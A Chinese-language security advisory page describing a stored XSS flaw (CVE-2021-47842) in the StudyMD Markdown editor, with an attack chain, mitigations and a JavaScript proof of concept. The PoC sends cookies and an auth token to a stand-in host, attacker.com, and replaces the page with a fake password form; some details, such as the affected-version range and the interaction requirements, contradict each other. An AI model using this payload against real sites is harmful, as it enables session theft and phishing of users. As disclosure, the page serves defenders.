IPBUF安全漏洞报告
English
CVE-2021-47842 CVSS 7.2 高危

CVE-2021-47842 StudyMD持久型跨站脚本漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2021-47842
漏洞类型
持久型XSS(存储型跨站脚本攻击)
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
StudyMD 0.3.2

相关标签

CVE-2021-47842持久型XSS存储型跨站脚本StudyMDMarkdown编辑器JavaScript注入会话劫持文件上传漏洞Web应用安全医学学习软件

漏洞概述

CVE-2021-47842是StudyMD 0.3.2版本中存在的一个高危安全漏洞,属于持久型跨站脚本攻击(Stored XSS)。StudyMD是一款流行的医学学习Markdown编辑器,用于创建和管理医学相关的学习笔记文档。该漏洞允许未经认证的攻击者通过上传精心构造的Markdown文件,在其中嵌入恶意JavaScript脚本代码。当其他用户打开或查看这些被植入恶意代码的Markdown文件时,攻击者的JavaScript payload将在受害者浏览器上下文中执行,从而实现会话劫持、敏感信息窃取、钓鱼攻击等恶意行为。由于恶意脚本存储在服务器端,一旦上传成功即可持续影响所有访问该文件的应用,具有广泛的攻击面和较高的利用稳定性。漏洞的CVSS评分达到7.2分,严重等级为HIGH,对使用该应用的个人和组织构成显著安全威胁。攻击者无需任何特殊权限即可利用此漏洞,且无需用户交互即可完成攻击链,建议受影响用户尽快升级到最新版本或采取临时防护措施。

技术细节

StudyMD 0.3.2版本在处理Markdown文件渲染时缺乏足够的输入验证和输出编码机制。攻击者可以利用Markdown支持的HTML嵌入特性,在文件中插入包含JavaScript代码的HTML标签。当应用解析并渲染这些Markdown内容时,恶意脚本未经适当转义即被嵌入到HTML页面中,导致浏览器将其作为可执行脚本处理。典型的攻击payload如:<script>alert(document.cookie)</script>或<img src=x onerror=恶意代码>。由于应用未对用户上传的Markdown内容进行安全过滤,恶意代码被永久存储在服务器端数据库或文件系统中。当其他用户通过Web界面访问这些被污染的文件时,浏览器会自动执行嵌入的恶意脚本。由于浏览器同源策略的限制被绕过,攻击者可以窃取用户的会话令牌、劫持账户、进行CSRF攻击或植入进一步的攻击载荷。此漏洞影响所有通过StudyMD查看Markdown文件的用户,攻击者只需具备文件上传权限即可发起攻击。

攻击链分析

STEP 1
步骤1: 侦察与准备
攻击者识别目标系统中运行的StudyMD版本,确认版本为0.3.2或更早版本,并发现文件上传接口存在
STEP 2
步骤2: 构造恶意载荷
攻击者创建包含恶意JavaScript代码的Markdown文件,利用<script>标签或事件处理器属性(如onerror、onload)注入payload
STEP 3
步骤3: 上传恶意文件
通过StudyMD的文件上传功能将恶意Markdown文件上传至服务器,无需任何认证即可完成上传
STEP 4
步骤4: 恶意代码持久化
服务器未对上传内容进行安全过滤,直接将包含恶意脚本的内容存储在数据库或文件系统中
STEP 5
步骤5: 诱导受害者访问
攻击者通过社交工程或其他方式诱导目标用户访问或查看被污染的Markdown文件
STEP 6
步骤6: 脚本执行与数据窃取
当受害者浏览器渲染Markdown页面时,恶意JavaScript代码被执行,可窃取Cookie、会话令牌等敏感信息
STEP 7
步骤7: 账户劫持与横向移动
攻击者利用窃取的凭证登录受害者账户,进一步进行数据窃取或横向攻击其他系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2021-47842 PoC - StudyMD Persistent XSS // Create a malicious markdown file with embedded JavaScript payload const maliciousMarkdown = ` # Medical Notes - Confidential This document contains important study materials. <script> // Steal session cookies and send to attacker server const stolenData = { cookies: document.cookie, localStorage: localStorage.getItem('authToken'), userAgent: navigator.userAgent, timestamp: new Date().toISOString() }; // Send stolen data to attacker-controlled endpoint fetch('https://attacker.com/collect?data=' + btoa(JSON.stringify(stolenData))); // Alternative payload: Session Hijacking document.body.innerHTML = '<h1>Session Expired</h1><form action="https://attacker.com/phish">Enter Password: <input type="password" name="pwd"><button>Submit</button></form>'; </script> ## Key Concepts - Pharmacology interactions - Pathophysiology review - Clinical case studies `; // Upload the malicious file via StudyMD upload endpoint async function exploit() { const formData = new FormData(); const blob = new Blob([maliciousMarkdown], { type: 'text/markdown' }); formData.append('file', blob, 'medical_notes.md'); // Upload to vulnerable endpoint await fetch('https://vulnerable-server/api/upload', { method: 'POST', body: formData, credentials: 'include' }); console.log('Malicious markdown uploaded. Users viewing this file will be compromised.'); } exploit(); // Note: This PoC demonstrates the vulnerability for authorized security testing only.

影响范围

StudyMD < 0.3.2

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)限制或禁用Markdown文件上传功能;2)部署WAF规则过滤包含<script>标签和事件处理器属性的请求;3)对所有Markdown渲染输出进行HTML实体转义;4)启用严格的CSP策略阻止内联脚本执行;5)增加文件上传的认证和授权控制;6)监控和审查所有上传的Markdown文件内容;7)考虑使用沙箱环境隔离Markdown渲染过程。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表